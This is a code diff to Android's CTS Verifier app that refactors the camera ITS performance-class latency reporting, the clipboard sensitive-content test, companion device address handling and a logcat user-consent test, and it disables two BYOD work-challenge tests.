+ if (!mPrecaptureTriggered) {
+ mPrecaptureTriggered = result.get(CaptureResult.CONTROL_AE_STATE) ==
+ CaptureResult.CONTROL_AE_STATE_PRECAPTURE;
+ }
+ if (!mConvergeAETriggered) {
+ mConvergeAETriggered = mConvergedAE;
+ }
}
if (result.get(CaptureResult.CONTROL_AF_STATE) != null) {
mConvergedAF = result.get(CaptureResult.CONTROL_AF_STATE) ==
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
index d83464b..692538a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
@@ -21,9 +21,8 @@
import android.content.Intent;
import android.content.IntentFilter;
import android.content.res.Configuration;
-import android.hardware.camera2.CameraCharacteristics;
import android.hardware.camera2.CameraManager;
-import android.os.Build;
+import android.mediapc.cts.common.PerformanceClassEvaluator;
import android.os.Bundle;
import android.text.method.ScrollingMovementMethod;
import android.util.Log;
@@ -31,6 +30,11 @@
import android.widget.TextView;
import android.widget.Toast;
+import java.io.BufferedReader;
+import java.io.FileReader;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Comparator;
@@ -39,17 +43,11 @@
import java.util.Iterator;
import java.util.List;
import java.util.Locale;
-import java.util.Map;
import java.util.Set;
import java.util.TreeSet;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
-import java.io.BufferedReader;
-import java.io.FileReader;
-import java.io.FileNotFoundException;
-import java.io.IOException;
-
import com.android.compatibility.common.util.ResultType;
import com.android.compatibility.common.util.ResultUnit;
import com.android.cts.verifier.ArrayTestListAdapter;
@@ -59,6 +57,7 @@
import org.json.JSONArray;
import org.json.JSONObject;
+import org.junit.rules.TestName;
/**
* Test for Camera features that require that the camera be aimed at a specific test scene.
@@ -81,12 +80,6 @@
Arrays.asList(new String[] {RESULT_PASS, RESULT_FAIL, RESULT_NOT_EXECUTED}));
private static final int MAX_SUMMARY_LEN = 200;
- private static final int MPC12_CAMERA_LAUNCH_THRESHOLD = 600; // ms
- private static final int MPC12_JPEG_CAPTURE_THRESHOLD = 1000; // ms
-
- private static final String MPC_TESTS_REPORT_LOG_NAME = "MediaPerformanceClassLogs";
- private static final String MPC_TESTS_REPORT_LOG_SECTION = "CameraIts";
-
private static final Pattern MPC12_CAMERA_LAUNCH_PATTERN =
Pattern.compile("camera_launch_time_ms:(\\d+(\\.\\d+)?)");
private static final Pattern MPC12_JPEG_CAPTURE_PATTERN =
@@ -95,8 +88,12 @@
private final ResultReceiver mResultsReceiver = new ResultReceiver();
private boolean mReceiverRegistered = false;
+ public final TestName mTestName = new TestName();
+
// Initialized in onCreate
List<String> mToBeTestedCameraIds = null;
+ String mPrimaryRearCameraId = null;
+ String mPrimaryFrontCameraId = null;
// Scenes
private static final ArrayList<String> mSceneIds = new ArrayList<String> () {{
@@ -132,8 +129,15 @@
private final HashMap<ResultKey, String> mSummaryMap = new HashMap<>();
// All primary cameras for which MPC level test has run
private Set<ResultKey> mExecutedMpcTests = null;
- // Map primary camera id to MPC level
- private final HashMap<String, Integer> mMpcLevelMap = new HashMap<>();
+ private static final String MPC_LAUNCH_REQ_NUM = "2.2.7.2/7.5/H-1-6";
+ private static final String MPC_JPEG_CAPTURE_REQ_NUM = "2.2.7.2/7.5/H-1-5";
+ // Performance class evaluator used for writing test result
+ PerformanceClassEvaluator mPce = new PerformanceClassEvaluator(mTestName);
+ PerformanceClassEvaluator.CameraLatencyRequirement mJpegLatencyReq =
+ mPce.addR7_5__H_1_5();
+ PerformanceClassEvaluator.CameraLatencyRequirement mLaunchLatencyReq =
+ mPce.addR7_5__H_1_6();
+
final class ResultKey {
public final String cameraId;
@@ -266,10 +270,7 @@
JSONArray metrics = sceneResult.getJSONArray("mpc_metrics");
for (int i = 0; i < metrics.length(); i++) {
String mpcResult = metrics.getString(i);
- if (!matchMpcResult(cameraId, mpcResult, MPC12_CAMERA_LAUNCH_PATTERN,
- "2.2.7.2/7.5/H-1-6", MPC12_CAMERA_LAUNCH_THRESHOLD) &&
- !matchMpcResult(cameraId, mpcResult, MPC12_JPEG_CAPTURE_PATTERN,
- "2.2.7.2/7.5/H-1-5", MPC12_JPEG_CAPTURE_THRESHOLD)) {
+ if (!matchMpcResult(cameraId, mpcResult)) {
Log.e(TAG, "Error parsing MPC result string:" + mpcResult);
return;
}
@@ -294,17 +295,6 @@
summary.toString(), 1.0, ResultType.NEUTRAL, ResultUnit.NONE);
}
- // Save MPC info once both front primary and rear primary data are collected.
- if (mExecutedMpcTests.size() == 4) {
- ItsTestActivity.this.getReportLog().addValue(
- "Version", "0.0.1", ResultType.NEUTRAL, ResultUnit.NONE);
- for (Map.Entry<String, Integer> entry : mMpcLevelMap.entrySet()) {
- ItsTestActivity.this.getReportLog().addValue(entry.getKey(),
- entry.getValue(), ResultType.NEUTRAL, ResultUnit.NONE);
- }
- ItsTestActivity.this.getReportLog().submit();
- }
-
// Display current progress
StringBuilder progress = new StringBuilder();
for (ResultKey k : mAllScenes) {
@@ -367,28 +357,44 @@
}
}
- private boolean matchMpcResult(String cameraId, String mpcResult, Pattern pattern,
- String reqNum, float threshold) {
- Matcher matcher = pattern.matcher(mpcResult);
- boolean match = matcher.matches();
- final int LATEST_MPC_LEVEL = Build.VERSION_CODES.TIRAMISU;
+ private boolean matchMpcResult(String cameraId, String mpcResult) {
+ Matcher launchMatcher = MPC12_CAMERA_LAUNCH_PATTERN.matcher(mpcResult);
+ boolean launchMatches = launchMatcher.matches();
- if (match) {
- // Store test result
- ItsTestActivity.this.getReportLog().addValue("Cam" + cameraId,
- mpcResult, ResultType.NEUTRAL, ResultUnit.NONE);
+ Matcher jpegMatcher = MPC12_JPEG_CAPTURE_PATTERN.matcher(mpcResult);
+ boolean jpegMatches = jpegMatcher.matches();
- float latency = Float.parseFloat(matcher.group(1));
- int mpcLevel = latency < threshold ? LATEST_MPC_LEVEL : 0;
- mExecutedMpcTests.add(new ResultKey(cameraId, reqNum));
-
- if (mMpcLevelMap.containsKey(reqNum)) {
- mpcLevel = Math.min(mpcLevel, mMpcLevelMap.get(reqNum));
- }
- mMpcLevelMap.put(reqNum, mpcLevel);
+ if (!launchMatches && !jpegMatches) {
+ return false;
+ }
+ if (!cameraId.equals(mPrimaryRearCameraId) &&
+ !cameraId.equals(mPrimaryFrontCameraId)) {
+ return false;
}
- return match;
+ if (launchMatches) {
+ float latency = Float.parseFloat(launchMatcher.group(1));
+ if (cameraId.equals(mPrimaryRearCameraId)) {
+ mLaunchLatencyReq.setRearCameraLatency(latency);
+ } else {
+ mLaunchLatencyReq.setFrontCameraLatency(latency);
+ }
+ mExecutedMpcTests.add(new ResultKey(cameraId, MPC_LAUNCH_REQ_NUM));
+ } else {
+ float latency = Float.parseFloat(jpegMatcher.group(1));
+ if (cameraId.equals(mPrimaryRearCameraId)) {
+ mJpegLatencyReq.setRearCameraLatency(latency);
+ } else {
+ mJpegLatencyReq.setFrontCameraLatency(latency);
+ }
+ mExecutedMpcTests.add(new ResultKey(cameraId, MPC_JPEG_CAPTURE_REQ_NUM));
+ }
+
+ // Save MPC info once both front primary and rear primary data are collected.
+ if (mExecutedMpcTests.size() == 4) {
+ mPce.submit();
+ }
+ return true;
}
}
@@ -397,8 +403,11 @@
// Hide the test if all camera devices are legacy
CameraManager manager = (CameraManager) this.getSystemService(Context.CAMERA_SERVICE);
try {
- ItsUtils.ItsCameraIdList cameraIdList = ItsUtils.getItsCompatibleCameraIds(manager);
+ ItsUtils.ItsCameraIdList cameraIdList =
+ ItsUtils.getItsCompatibleCameraIds(manager);
mToBeTestedCameraIds = cameraIdList.mCameraIdCombos;
+ mPrimaryRearCameraId = cameraIdList.mPrimaryRearCameraId;
+ mPrimaryFrontCameraId = cameraIdList.mPrimaryFrontCameraId;
} catch (ItsException e) {
Toast.makeText(ItsTestActivity.this,
"Received error from camera service while checking device capabilities: "
@@ -499,14 +508,4 @@
setInfoResources(R.string.camera_its_test, R.string.camera_its_test_info, -1);
setPassFailButtonClickListeners();
}
-
- @Override
- public String getReportFileName() {
- return MPC_TESTS_REPORT_LOG_NAME;
- }
-
- @Override
- public String getReportSectionName() {
- return MPC_TESTS_REPORT_LOG_SECTION;
- }
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsUtils.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsUtils.java
index c648e8e..734b4a2 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsUtils.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsUtils.java
@@ -16,28 +16,24 @@
package com.android.cts.verifier.camera.its;
-import android.content.Context;
import android.graphics.ImageFormat;
import android.graphics.Rect;
import android.hardware.camera2.CameraAccessException;
import android.hardware.camera2.CameraDevice;
import android.hardware.camera2.CameraCharacteristics;
import android.hardware.camera2.CameraManager;
+import android.hardware.camera2.CameraMetadata;
import android.hardware.camera2.CaptureRequest;
-import android.hardware.camera2.CaptureResult;
import android.hardware.camera2.params.MeteringRectangle;
import android.hardware.camera2.params.StreamConfigurationMap;
import android.media.Image;
import android.media.Image.Plane;
-import android.net.Uri;
-import android.os.Environment;
import android.os.Handler;
import android.os.HandlerThread;
import android.util.Log;
import android.util.Size;
import com.android.ex.camera2.blocking.BlockingCameraManager;
-import com.android.ex.camera2.blocking.BlockingCameraManager.BlockingOpenException;
import com.android.ex.camera2.blocking.BlockingStateCallback;
import org.json.JSONArray;
@@ -322,6 +318,9 @@
// Camera Id combos (ids from CameraIdList, and hidden physical camera Ids
// in the form of [logical camera id]:[hidden physical camera id]
public List<String> mCameraIdCombos;
+ // Primary rear and front camera Ids (as defined in MPC)
+ public String mPrimaryRearCameraId;
+ public String mPrimaryFrontCameraId;
}
public static ItsCameraIdList getItsCompatibleCameraIds(CameraManager manager)
@@ -345,6 +344,18 @@
CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_BACKWARD_COMPATIBLE;
final int LOGICAL_MULTI_CAMERA =
CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_LOGICAL_MULTI_CAMERA;
+
+ final Integer facing = characteristics.get(CameraCharacteristics.LENS_FACING);
+ if (facing != null) {
+ if (facing == CameraMetadata.LENS_FACING_BACK
+ && outList.mPrimaryRearCameraId == null) {
+ outList.mPrimaryRearCameraId = id;
+ } else if (facing == CameraMetadata.LENS_FACING_FRONT
+ && outList.mPrimaryFrontCameraId == null) {
+ outList.mPrimaryFrontCameraId = id;
+ }
+ }
+
for (int capability : actualCapabilities) {
if (capability == BACKWARD_COMPAT) {
haveBC = true;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/clipboard/ClipboardPreviewTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/clipboard/ClipboardPreviewTestActivity.java
index 3587e6f..63b8904 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/clipboard/ClipboardPreviewTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/clipboard/ClipboardPreviewTestActivity.java
@@ -18,49 +18,22 @@
import android.content.ClipData;
+import android.content.ClipDescription;
import android.content.ClipboardManager;
-import android.graphics.Color;
import android.os.Bundle;
+import android.os.PersistableBundle;
import android.view.View;
import android.widget.Button;
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
-import java.util.concurrent.ThreadLocalRandom;
-
/**
- * A CTS Verifier test case for validating the user-visible clipboard preview.
- *
- * This test assumes bluetooth is turned on and the device is already paired with a second device.
- * Note: the second device need not be an Android device; it could be a laptop or desktop.
+ * A CTS Verifier test case for validating the user-visible clipboard confirmation.
*/
public class ClipboardPreviewTestActivity extends PassFailButtons.Activity {
- /**
- * The content of the test file being transferred.
- */
- private static final String TEST_STRING = "Sample Test String";
- /**
- * The name of the test file being transferred.
- */
- private final int[] mSecretCode = new int[4];
- private final int[] mSecretGuess = new int[4];
- private final int[] mButtons = {
- R.id.clipboard_preview_test_b0,
- R.id.clipboard_preview_test_b1,
- R.id.clipboard_preview_test_b2,
- R.id.clipboard_preview_test_b3,
- R.id.clipboard_preview_test_b4,
- R.id.clipboard_preview_test_b5,
- R.id.clipboard_preview_test_b6,
- R.id.clipboard_preview_test_b7,
- R.id.clipboard_preview_test_b8,
- R.id.clipboard_preview_test_b9
- };
- private int mGuessIndex = 0;
-
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
@@ -74,87 +47,29 @@
copyButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
- generateAndCopySecret();
+ setClipboardData();
}
});
- disableKeypad();
+ disablePassFail();
}
- private void generateAndCopySecret() {
- String s = "";
- resetState();
- for (int i = 0; i < mSecretCode.length; ++i) {
- mSecretCode[i] = ThreadLocalRandom.current().nextInt(0, 10);
- s += mSecretCode[i];
- }
+ private void setClipboardData() {
ClipboardManager cm = this.getSystemService(ClipboardManager.class);
- cm.setPrimaryClip(ClipData.newPlainText("Secret", s));
- enableKeypad();
+
+ ClipData cd = ClipData.newPlainText("",
+ getString(R.string.clipboard_preview_test_secret));
+ PersistableBundle pb = new PersistableBundle(1);
+ pb.putBoolean(ClipDescription.EXTRA_IS_SENSITIVE, true);
+ cd.getDescription().setExtras(pb);
+ cm.setPrimaryClip(cd);
+ enablePassFail();
}
- private void enableKeypad() {
- for (int i = 0; i < mButtons.length; ++i) {
- Button numButton = findViewById(mButtons[i]);
- numButton.setBackgroundColor(Color.GREEN);
- int finalI = i;
- numButton.setOnClickListener(new View.OnClickListener() {
- @Override
- public void onClick(View v) {
- buttonClicked(finalI);
- }
- });
- }
- }
-
- private void disableKeypad() {
- for (int i = 0; i < mButtons.length; ++i) {
- Button numButton = findViewById(mButtons[i]);
- numButton.setOnClickListener(null);
- numButton.setBackgroundColor(Color.LTGRAY);
- }
- }
-
- private void resetState() {
- for (int i = 0; i < mSecretGuess.length; ++i) {
- mSecretGuess[i] = -1;
- }
- mGuessIndex = 0;
- View v = findViewById(R.id.clipboard_preview_test_pass_fail);
+ private void disablePassFail() {
findViewById(R.id.clipboard_preview_test_pass_fail).setVisibility(View.INVISIBLE);
- findViewById(R.id.fail_button).setVisibility(View.VISIBLE);
- findViewById(R.id.pass_button).setVisibility(View.VISIBLE);
}
- private void buttonClicked(int i) {
- if (mGuessIndex < mSecretGuess.length) {
- mSecretGuess[mGuessIndex] = i;
- ++mGuessIndex;
- }
- checkSolution();
- }
-
- private void checkSolution() {
- boolean testPassed = true;
- if (mGuessIndex == mSecretGuess.length) {
- for (int i = 0; i < mSecretGuess.length && i < mSecretCode.length; ++i) {
- if (mSecretGuess[i] != mSecretCode[i]) {
- testPassed = false;
- }
- }
- markPassed(testPassed);
- disableKeypad();
- }
- }
-
- private void markPassed(boolean passed) {
+ private void enablePassFail() {
findViewById(R.id.clipboard_preview_test_pass_fail).setVisibility(View.VISIBLE);
- if (passed) {
- findViewById(R.id.fail_button).setVisibility(View.INVISIBLE);
- } else {
- findViewById(R.id.pass_button).setVisibility(View.INVISIBLE);
- }
-
}
-
-
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceServiceTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceServiceTestActivity.java
index b8b9602..97ec07a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceServiceTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/companion/CompanionDeviceServiceTestActivity.java
@@ -118,7 +118,7 @@
/** Stop observing to associated device and then disassociate. */
private void disassociate(AssociationInfo association) {
- String deviceAddress = association.getDeviceMacAddressAsString();
+ String deviceAddress = association.getDeviceMacAddress().toString();
mCompanionDeviceManager.stopObservingDevicePresence(deviceAddress);
mCompanionDeviceManager.disassociate(association.getId());
Log.d(LOG_TAG, "Disassociated with device: " + deviceAddress);
@@ -142,11 +142,14 @@
AssociationInfo association =
data.getParcelableExtra(CompanionDeviceManager.EXTRA_ASSOCIATION,
AssociationInfo.class);
- String deviceAddress = association.getDeviceMacAddressAsString();
// This test is for bluetooth devices, which should all have a MAC address.
- if (deviceAddress == null) fail("The device was present but its address was null.");
+ if (association == null || association.getDeviceMacAddress() == null) {
+ fail("The device was present but its address was null.");
+ return;
+ }
+ String deviceAddress = association.getDeviceMacAddress().toString();
mCompanionDeviceManager.startObservingDevicePresence(deviceAddress);
mCurrentAssociation = getAssociation(association.getId());
Log.d(LOG_TAG, "Associated with device: " + deviceAddress);
@@ -285,7 +288,9 @@
@Override
boolean verify() {
// Check that it is associated and being observed.
- return mCurrentAssociation != null && mCurrentAssociation.isNotifyOnDeviceNearby();
+ // Bypass inaccessible AssociationInfo#isNotifyOnDeviceNearby() with toString()
+ return mCurrentAssociation != null
+ && mCurrentAssociation.toString().contains("mNotifyOnDeviceNearby=true");
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/companion/DevicePresenceListener.java b/apps/CtsVerifier/src/com/android/cts/verifier/companion/DevicePresenceListener.java
index 37760d5..11829c3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/companion/DevicePresenceListener.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/companion/DevicePresenceListener.java
@@ -45,7 +45,7 @@
@Override
public void onDeviceAppeared(AssociationInfo association) {
NEARBY_DEVICES.add(association.getId());
- String message = "Device appeared: " + association.getDeviceMacAddressAsString();
+ String message = "Device appeared: " + association.getDeviceMacAddress();
Log.d(LOG_TAG, message);
Toast.makeText(this, message, Toast.LENGTH_LONG).show();
}
@@ -53,7 +53,7 @@
@Override
public void onDeviceDisappeared(AssociationInfo association) {
NEARBY_DEVICES.remove(association.getId());
- String message = "Device disappeared: " + association.getDeviceMacAddressAsString();
+ String message = "Device disappeared: " + association.getDeviceMacAddress();
Log.d(LOG_TAG, message);
Toast.makeText(this, message, Toast.LENGTH_LONG).show();
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
index f6b179c..eddd930 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/features/FeatureUtil.java
@@ -130,6 +130,6 @@
* Checks whether the device shows keyguard when the user doesn't have credentials.
*/
public static boolean isKeyguardShownWhenUserDoesntHaveCredentials(Context context) {
- return !isAutomotive(context);
+ return !isAutomotive(context) && !isWatch(context);
}
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/logcat/ReadLogsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/logcat/ReadLogsTestActivity.java
index ff12bd2..171d612 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/logcat/ReadLogsTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/logcat/ReadLogsTestActivity.java
@@ -54,15 +54,18 @@
*/
private static final String TAG = "ReadLogsTestActivity";
- private static final String PERMISSION = "android.permission.READ_LOGS";
-
- private static final String ALLOW_LOGD_ACCESS = "Allow logd access";
- private static final String DENY_LOGD_ACCESS = "Decline logd access";
private static final String SYSTEM_LOG_START = "--------- beginning of system";
private static final int NUM_OF_LINES_FG = 10;
private static final int NUM_OF_LINES_BG = 0;
- private static final int LOG_ACCESS_INTERVAL = 1000 * 60 * 2;
+ private static final int LOG_ACCESS_INTERVAL_MILLIS = 1000 * 60 * 2;
+
+ private static final List<String> LOG_CAT_TEST_COMMAND = Arrays.asList("logcat",
+ "-b", "system",
+ "-v", "uid",
+ "-v", "process",
+ "-t", Integer.toString(NUM_OF_LINES_FG));
+
private volatile long mLastLogAccess = 0;
private static Context sContext;
@@ -71,11 +74,14 @@
private static String sAppPackageName;
private static ExecutorService sExecutorService;
+ private static String sLogCatUidFilterRegex;
+
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
sContext = this;
+ sLogCatUidFilterRegex = "^[A-Z]{1}\\(\\s" + sContext.getApplicationInfo().uid;
sActivityManager = sContext.getSystemService(ActivityManager.class);
sExecutorService = Executors.newSingleThreadExecutor();
@@ -114,72 +120,70 @@
public void runLogcatInForegroundAllowOnlyOnce() {
Log.d(TAG, "Inside runLogcatInForegroundAllowOnlyOnce()");
- if (mLastLogAccess > (SystemClock.elapsedRealtime() - LOG_ACCESS_INTERVAL)) {
+ if (mLastLogAccess > (SystemClock.elapsedRealtime() - LOG_ACCESS_INTERVAL_MILLIS)) {
String reason = "Please wait for "
- + ((mLastLogAccess + LOG_ACCESS_INTERVAL - SystemClock.elapsedRealtime())
+ + ((mLastLogAccess + LOG_ACCESS_INTERVAL_MILLIS - SystemClock.elapsedRealtime())
/ 1000) + " seconds before running the test.";
Toast.makeText(this, reason, Toast.LENGTH_LONG).show();
return;
}
- sExecutorService.execute(new Runnable() {
+ sExecutorService.execute(() -> {
+ BufferedReader reader = null;
+ try {
- public void run() {
- BufferedReader reader = null;
+ // Dump the logcat most recent 10 lines before the compile command,
+ // and check if there are logs about compiling the test package.
+ Process logcat = new ProcessBuilder(LOG_CAT_TEST_COMMAND).start();
+ reader = new BufferedReader(new InputStreamReader(logcat.getInputStream()));
+ logcat.waitFor();
+
+ List<String> logcatOutput = new ArrayList<>();
+ String current;
+ Integer lineCount = 0;
+ while ((current = reader.readLine()) != null) {
+ logcatOutput.add(current);
+ lineCount++;
+ }
+
+ Log.d(TAG, "Logcat system allow line count: " + lineCount);
+ Log.d(TAG, "Logcat system allow output: " + logcatOutput);
+
try {
+ assertTrue("System log output is null", logcatOutput.size() != 0);
- // Dump the logcat most recent 10 lines before the compile command,
- // and check if there are logs about compiling the test package.
- java.lang.Process logcat = new ProcessBuilder(
- Arrays.asList("logcat", "-b", "system", "-t",
- Integer.toString(NUM_OF_LINES_FG))).start();
- reader = new BufferedReader(new InputStreamReader(logcat.getInputStream()));
- logcat.waitFor();
+ // Check if the logcatOutput is not null. If logcatOutput is null,
+ // it throws an assertion error
+ assertNotNull(logcatOutput.get(0), "logcat output should not be null");
- List<String> logcatOutput = new ArrayList<>();
- String current;
- Integer lineCount = 0;
- while ((current = reader.readLine()) != null) {
- logcatOutput.add(current);
- lineCount++;
+ boolean allowLog = logcatOutput.get(0).contains(SYSTEM_LOG_START);
+ assertTrue("Allow system log access contains log", allowLog);
+
+ boolean allowLineCount = lineCount > NUM_OF_LINES_FG;
+ assertTrue("Allow system log access count", allowLineCount);
+
+ Log.d(TAG, "Logcat system allow log contains: " + allowLog + " lineCount: "
+ + lineCount + " larger than: " + allowLineCount);
+
+ mLastLogAccess = SystemClock.elapsedRealtime();
+
+ runOnUiThread(() ->
+ Toast.makeText(this, "User Consent Allow Testing passed",
+ Toast.LENGTH_LONG).show());
+
+ } catch (AssertionError e) {
+ fail("User Consent Allow Testing failed");
+ }
+
+ } catch (Exception e) {
+ Log.e(TAG, "User Consent Testing failed");
+ } finally {
+ try {
+ if (reader != null) {
+ reader.close();
}
-
- Log.d(TAG, "Logcat system allow line count: " + lineCount);
- Log.d(TAG, "Logcat system allow output: " + logcatOutput);
-
- try {
-
- assertTrue("System log output is null", logcatOutput.size() != 0);
-
- // Check if the logcatOutput is not null. If logcatOutput is null,
- // it throws an assertion error
- assertNotNull(logcatOutput.get(0), "logcat output should not be null");
-
- boolean allowLog = logcatOutput.get(0).contains(SYSTEM_LOG_START);
- assertTrue("Allow system log access containe log", allowLog);
-
- boolean allowLineCount = lineCount > NUM_OF_LINES_FG;
- assertTrue("Allow system log access count", allowLineCount);
-
- Log.d(TAG, "Logcat system allow log contains: " + allowLog + " lineCount: "
- + lineCount + " larger than: " + allowLineCount);
-
- mLastLogAccess = SystemClock.elapsedRealtime();
-
- } catch (AssertionError e) {
- fail("User Consent Allow Testing failed");
- }
-
- } catch (Exception e) {
- Log.e(TAG, "User Consent Testing failed");
- } finally {
- try {
- if (reader != null) {
- reader.close();
- }
- } catch (IOException e) {
- Log.d(TAG, "Could not close reader: " + e.getMessage());
- }
+ } catch (IOException e) {
+ Log.d(TAG, "Could not close reader: " + e.getMessage());
}
}
});
@@ -199,56 +203,53 @@
public void runLogcatInForegroundDontAllow() {
Log.d(TAG, "Inside runLogcatInForegroundDontAllow()");
- if (mLastLogAccess > (SystemClock.elapsedRealtime() - LOG_ACCESS_INTERVAL)) {
+ if (mLastLogAccess > (SystemClock.elapsedRealtime() - LOG_ACCESS_INTERVAL_MILLIS)) {
String reason = "Please wait for "
- + ((mLastLogAccess + LOG_ACCESS_INTERVAL - SystemClock.elapsedRealtime())
+ + ((mLastLogAccess + LOG_ACCESS_INTERVAL_MILLIS - SystemClock.elapsedRealtime())
/ 1000) + " seconds before running the test.";
Toast.makeText(this, reason, Toast.LENGTH_LONG).show();
return;
}
- sExecutorService.execute(new Runnable() {
+ sExecutorService.execute(() -> {
+ BufferedReader reader = null;
+ try {
+ Process logcat = new ProcessBuilder(LOG_CAT_TEST_COMMAND).start();
+ logcat.waitFor();
- public void run() {
- BufferedReader reader = null;
+ // Merge several logcat streams, and take the last N lines
+ reader = new BufferedReader(new InputStreamReader(logcat.getInputStream()));
+ assertNotNull(reader);
+
+ String current;
+ int lineCount = 0;
+ while ((current = reader.readLine()) != null
+ && current.matches(sLogCatUidFilterRegex)) {
+ lineCount++;
+ }
+
+ Log.d(TAG, "Logcat system deny line count:" + lineCount);
+
+ mLastLogAccess = SystemClock.elapsedRealtime();
+
try {
- java.lang.Process logcat = new ProcessBuilder(
- Arrays.asList("logcat", "-b", "system", "-t",
- Integer.toString(NUM_OF_LINES_FG))).start();
- logcat.waitFor();
+ assertTrue("Deny System log access", lineCount == NUM_OF_LINES_BG);
- // Merge several logcat streams, and take the last N lines
- reader = new BufferedReader(new InputStreamReader(logcat.getInputStream()));
- assertNotNull(reader);
-
- List<String> logcatOutput = new ArrayList<>();
- String current;
- int lineCount = 0;
- while ((current = reader.readLine()) != null) {
- logcatOutput.add(current);
- lineCount++;
+ runOnUiThread(() ->
+ Toast.makeText(this, "User Consent Deny Testing passed",
+ Toast.LENGTH_LONG).show());
+ } catch (AssertionError e) {
+ fail("User Consent Deny Testing failed");
+ }
+ } catch (Exception e) {
+ Log.e(TAG, "User Consent Testing failed");
+ } finally {
+ try {
+ if (reader != null) {
+ reader.close();
}
-
- Log.d(TAG, "Logcat system deny line count:" + lineCount);
-
- mLastLogAccess = SystemClock.elapsedRealtime();
-
- try {
- assertTrue("Deny System log access", lineCount == NUM_OF_LINES_BG);
- } catch (AssertionError e) {
- fail("User Consent Deny Testing failed");
- }
-
- } catch (Exception e) {
- Log.e(TAG, "User Consent Testing failed");
- } finally {
- try {
- if (reader != null) {
- reader.close();
- }
- } catch (IOException e) {
- Log.d(TAG, "Could not close reader: " + e.getMessage());
- }
+ } catch (IOException e) {
+ Log.d(TAG, "Could not close reader: " + e.getMessage());
}
}
});
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
index d23d43b..d6564ff 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
@@ -116,9 +116,9 @@
private TestListItem mDisableLocationModeThroughMainSwitchTest;
private TestListItem mDisableLocationModeThroughWorkSwitchTest;
private TestListItem mPrimaryLocationWhenWorkDisabledTest;
- private DialogTestListItem mSelectWorkChallenge;
+ //private DialogTestListItem mSelectWorkChallenge;
private DialogTestListItem mConfirmWorkCredentials;
- private DialogTestListItem mPatternWorkChallenge;
+ //private DialogTestListItem mPatternWorkChallenge;
private DialogTestListItem mParentProfilePassword;
private DialogTestListItem mPersonalRingtonesTest;
private TestListItem mVpnTest;
@@ -297,12 +297,13 @@
"BYOD_ConfirmWorkCredentials",
R.string.provisioning_byod_confirm_work_credentials_description,
new Intent(Intent.ACTION_MAIN).addCategory(Intent.CATEGORY_HOME));
-
+ /* Disable due to b/242477777
mPatternWorkChallenge = new DialogTestListItem(this,
R.string.provisioning_byod_pattern_work_challenge,
"BYOD_PatternWorkChallenge",
R.string.provisioning_byod_pattern_work_challenge_description,
new Intent(ByodHelperActivity.ACTION_TEST_PATTERN_WORK_CHALLENGE));
+ */
mWiFiDataUsageSettingsVisibleTest = new DialogTestListItem(this,
R.string.provisioning_byod_wifi_data_usage_settings,
@@ -472,12 +473,13 @@
R.string.profile_owner_permission_lockdown_test_info,
permissionCheckIntent);
+ /* Disable due to b/241498104
mSelectWorkChallenge = new DialogTestListItem(this,
R.string.provisioning_byod_select_work_challenge,
"BYOD_SelectWorkChallenge",
R.string.provisioning_byod_select_work_challenge_description,
new Intent(ByodHelperActivity.ACTION_TEST_SELECT_WORK_CHALLENGE));
-
+ */
mRecentsTest = TestListItem.newTest(this,
R.string.provisioning_byod_recents,
RecentsRedactionActivity.class.getName(),
@@ -560,10 +562,10 @@
adapter.add(mVpnTest);
adapter.add(mAlwaysOnVpnSettingsTest);
adapter.add(mTurnOffWorkFeaturesTest);
- adapter.add(mSelectWorkChallenge);
+ //adapter.add(mSelectWorkChallenge);
if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
adapter.add(mConfirmWorkCredentials);
- adapter.add(mPatternWorkChallenge);
+ // adapter.add(mPatternWorkChallenge);
}
adapter.add(mRecentsTest);
adapter.add(mOrganizationInfoTest);
